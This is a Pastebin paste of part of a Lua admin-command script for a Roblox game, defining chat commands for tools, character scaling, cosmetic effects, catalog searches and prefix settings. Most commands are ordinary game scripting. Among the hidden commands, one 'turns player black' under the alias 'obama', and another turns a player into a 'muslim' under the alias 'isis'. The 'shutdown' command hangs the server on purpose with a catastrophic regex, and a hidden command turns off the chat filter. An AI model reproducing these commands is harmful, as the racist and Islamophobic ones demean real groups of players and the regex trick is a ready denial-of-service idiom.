Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- end
- end};
- [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- if Player.Character:FindFirstChild("StopMMLFly") then
- Player.Character.StopMMLFly:InvokeClient(Player)
- end
- end
- end
- end};
- [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
- ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
- GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
- end};
- [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:GiveTools(Player, Arguments[2])
- end
- end};
- [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
- local List = {}
- for _,Region in pairs(ToolRegions) do
- CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
- table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
- end)
- end
- GUI:ListGui(Speaker, "Tool list", List, 73589272)
- end};
- [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:GiveTools(Player, "btools")
- end
- end};
- [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
- REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
- for _,Player in pairs(Server.Players:GetPlayers()) do
- Player:Kick()
- end
- Server.Workspace:ClearAllChildren()
- string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
- end};
- [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:Scale(Player, Arguments[2])
- end
- end};
- [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:Scale(Player, 50)
- end
- end};
- [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:Scale(Player, 70)
- end
- end, Hidden = true};
- [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:Scale(Player, 500)
- end
- end};
- [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
- Obj.Reflectance = 0.5
- Obj.BrickColor = BrickColor.new("New Yeller")
- end)
- end
- end
- end};
- [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
- Obj.Reflectance = 0.5
- end)
- end
- end
- end};
- [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
- Obj.Transparency = 0.5
- Obj.Reflectance = 0
- Obj.BrickColor = BrickColor.new("Institutional white")
- end)
- CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
- Obj.Transparency = 0.5
- end)
- end
- end
- end};
- [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- for _,Obj in pairs(Player.Character:GetChildren()) do
- local Valid = false
- for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
- if Valid == true then Obj:Destroy() end
- end
- end
- end
- end};
- [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- for _,Obj in pairs(Player.Character:GetChildren()) do
- local Valid = false
- for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
- if Valid == true then Obj:Destroy() end
- end
- end
- end
- end};
- [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- for _,Obj in pairs(Player.Character:GetChildren()) do
- local Valid = false
- for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
- if Valid == true then Obj:Destroy() end
- end
- end
- end
- end};
- [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- for _,Obj in pairs(Player.Character:GetChildren()) do
- if Obj:IsA("Accoutrement") then
- Obj:Destroy()
- end
- end
- end
- end
- end};
- [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- Player:ClearCharacterAppearance()
- end
- end};
- [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
- local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
- local TmpPlayers = {}
- local Output = {}
- for _,Data in pairs(Players) do
- table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
- end
- GUI:ListGui(Speaker, "Player Database", Output, 120563622)
- end};
- [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
- Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
- GUI:SendHint(Speaker, "Player Database cleared", 5)
- end};
- [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- GUI:FakeHack(Player)
- end
- end};
- [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
- for _,Object in pairs(Player.Backpack:GetChildren()) do
- if Object:IsA("Tool") or Object:IsA("HopperBin") then
- local Clone = Object:Clone()
- Clone.Parent = Speaker.Backpack
- end
- end
- end
- end
- end};
- [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
- for _,Object in pairs(Player.Backpack:GetChildren()) do
- if Object:IsA("Tool") or Object:IsA("HopperBin") then
- Object.Parent = Speaker.Backpack
- end
- end
- end
- end
- end};
- [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
- for _,Object in pairs(Speaker.Backpack:GetChildren()) do
- if Object:IsA("Tool") or Object:IsA("HopperBin") then
- local Clone = Object:Clone()
- Clone.Parent = Player.Backpack
- end
- end
- end
- end
- end};
- [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") then
- Player.Backpack:ClearAllChildren()
- end
- if Player.Character ~= nil then
- for _,Obj in pairs(Player.Character:GetChildren()) do
- if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
- Obj:Destroy()
- end
- end
- end
- end
- end};
- [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- if Player.Character:FindFirstChild("Head") then
- if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
- coroutine.wrap(function()
- if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
- local OldFace = Player.Character.Head.face.Texture
- Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
- Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
- Player.Character.Head.face.Texture = "rbxassetid://24067663"
- local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
- Sound:Play()
- coroutine.wrap(function() for i = 1,100 do wait()
- local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
- coroutine.wrap(function() wait(3) Part:Destroy() end)()
- end
- Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
- end end
- end)()
- end
- end
- end
- end
- end};
- [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
- coroutine.wrap(function()
- if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
- local OldFace = Player.Character.Head.face.Texture
- local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
- local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
- local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
- Player.Character.Head.face.Texture = "rbxassetid://28118994"
- local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
- Sound:Play()
- wait(1)
- Smoke.Enabled = false
- wait(1)
- Fart:Destroy()
- Fart:Destroy()
- Player.Character.Head.face.Texture = OldFace
- end end
- end)()
- end
- end
- end
- end};
- [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") then
- CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
- end
- end
- end};
- [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
- Player.Character.MMLGraffiti:ClearAllChildren()
- end
- end
- end};
- [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
- Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
- end
- end
- end};
- [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
- Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
- end
- end
- end};
- [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Lights = {}
- for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
- if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
- table.insert(Lights, Obj)
- end
- end
- for _,Light in pairs(Lights) do
- coroutine.wrap(function()
- for i = 1,20 do
- Light.Brightness = Light.Brightness/5
- wait()
- end
- Light:Destroy()
- end)()
- end
- end
- end
- end};
- [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player:FindFirstChild("PlayerGui") then
- local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
- SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
- local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
- local Stop = false
- coroutine.wrap(function()
- repeat
- Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
- wait(0.1)
- until not SG or not SG.Parent
- end)()
- CORE:ExecuteResource("Drug", Player.Character)
- end
- end
- end};
- [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("PlayerGui") then
- local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
- wait() CORE:RestoreCamera(Player)
- end
- end
- end};
- [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
- local AbuseMode = false
- if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
- MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
- if Speaker:FindFirstChild("Backpack") then
- CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
- end
- end)
- end, Http = true};
- [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Type = "all"
- local Query = string.lower(Arguments[1])
- local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
- if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
- Type = Arguments[1]
- Query = Arguments[2]
- end
- MARKET:ShowSearch(Speaker, 11, Query, function(ID)
- if Speaker.Character then
- CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
- end
- end, MARKET:AccessoryToSubcategory(Type))
- end, Http = true};
- [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
- MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
- if Speaker.Character then
- CORE:GivePackage(Speaker, ID)
- end
- end, 11)
- end, Http = false};
- [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:GivePackage(Player)
- end
- end};
- [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:GivePackage(Player, Arguments[2])
- end
- end, Http = false};
- [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- local Stats = Player:FindFirstChild("leaderstats")
- if Stats ~= nil then
- for _,Stat in pairs(Stats:GetChildren()) do
- if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
- ypcall(function() Stat.Value = Arguments[3] end)
- end
- end
- end
- end
- end};
- [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local ID = tonumber(Arguments[2])
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- for _,Player in pairs(Players) do
- if Player.Character ~= nil then
- local Obj = Player.Character:FindFirstChild("Shirt")
- if Obj then
- Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
- else
- Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
- end
- coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
- end
- end
- end
- end};
- [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local ID = tonumber(Arguments[2])
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- for _,Player in pairs(Players) do
- if Player.Character ~= nil then
- local Obj = Player.Character:FindFirstChild("Pants")
- if Obj then
- Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
- else
- Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
- end
- coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
- end
- end
- end
- end};
- [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local ID = tonumber(Arguments[2])
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- for _,Player in pairs(Players) do
- if Player.Character ~= nil then
- if Player.Character:FindFirstChild("Torso") then
- local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
- local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
- if Obj1 then
- Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
- else
- Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
- end
- if Obj2 then
- Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
- else
- Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
- end
- coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
- coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
- end
- end
- end
- end
- end};
- [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
- end
- end};
- [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
- if CORE:InAdminGroup(Speaker) then
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") then
- local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
- local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
- local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
- local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
- CORE:ExecuteResource("CookieTool", Tool)
- end
- end
- end
- end};
- [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
- if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
- CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
- end
- end};
- [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
- if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
- local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
- Model:MakeJoints()
- for i = 1,math.random(10,20) do
- Model.Name = Model.Name..string.char(math.random(97,122))
- end
- if Model:GetChildren()[1] then
- table.insert(Objects, Model)
- CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
- end
- end
- end};
- [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local ID = tonumber(Arguments[2])
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
- end
- end
- end};
- [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
- if StopAnim then StopAnim:Destroy() end
- end
- end
- end};
- [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
- if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
- Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
- end
- end};
- [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
- if tonumber(Arguments[1]) then
- Server.Lighting.Brightness = tonumber(Arguments[1])
- end
- end};
- [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- GUI:CoreGui(Player, "PlayerList", true)
- end
- end};
- [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- local Players = STRING:Scan(Arguments[1], Speaker)
- GUI:CoreGui(Player, "PlayerList", false)
- end
- end};
- [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
- GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
- end, Hidden = true};
- [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:ChangeCharacter(Player, 1337, false, Speaker)
- end
- end, Hidden = true};
- [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
- ypcall(function() Player.Character.Torso.roblox:Destroy() end)
- Player:ClearCharacterAppearance()
- CORE:Insert(12436480, Player.Character, true)
- Player.Character.Head.face.Texture = "rbxassetid://110287880"
- Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
- Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
- end
- end
- end, Hidden = true};
- [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:ChangeCharacter(Player, 0, false, Speaker)
- end
- end};
- [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
- ShouldFilter = false
- end, Hidden = true};
- [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
- local Bet = Arguments[1]
- if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
- GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
- elseif #Bet > 5 then
- GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
- else
- local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
- if Answer == "Yes" then
- local OldBet = Settings.Bet
- CORE:ChangeBet(Bet)
- GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
- end
- end
- end};
- [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
- local Prefix = Arguments[1]
- if #Prefix > 5 then
- GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
- else
- local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
- if Answer == "Yes" then
- local OldPrefix = Settings.Prefix
- Settings.Prefix = Prefix
- GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
- end
- end
- end};
